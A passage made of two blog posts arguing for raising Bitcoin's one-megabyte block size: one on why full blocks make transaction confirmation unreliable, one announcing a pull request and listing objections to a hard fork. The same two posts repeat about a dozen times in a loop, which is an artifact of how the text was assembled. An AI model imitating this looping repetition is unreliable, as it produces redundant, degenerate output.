ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
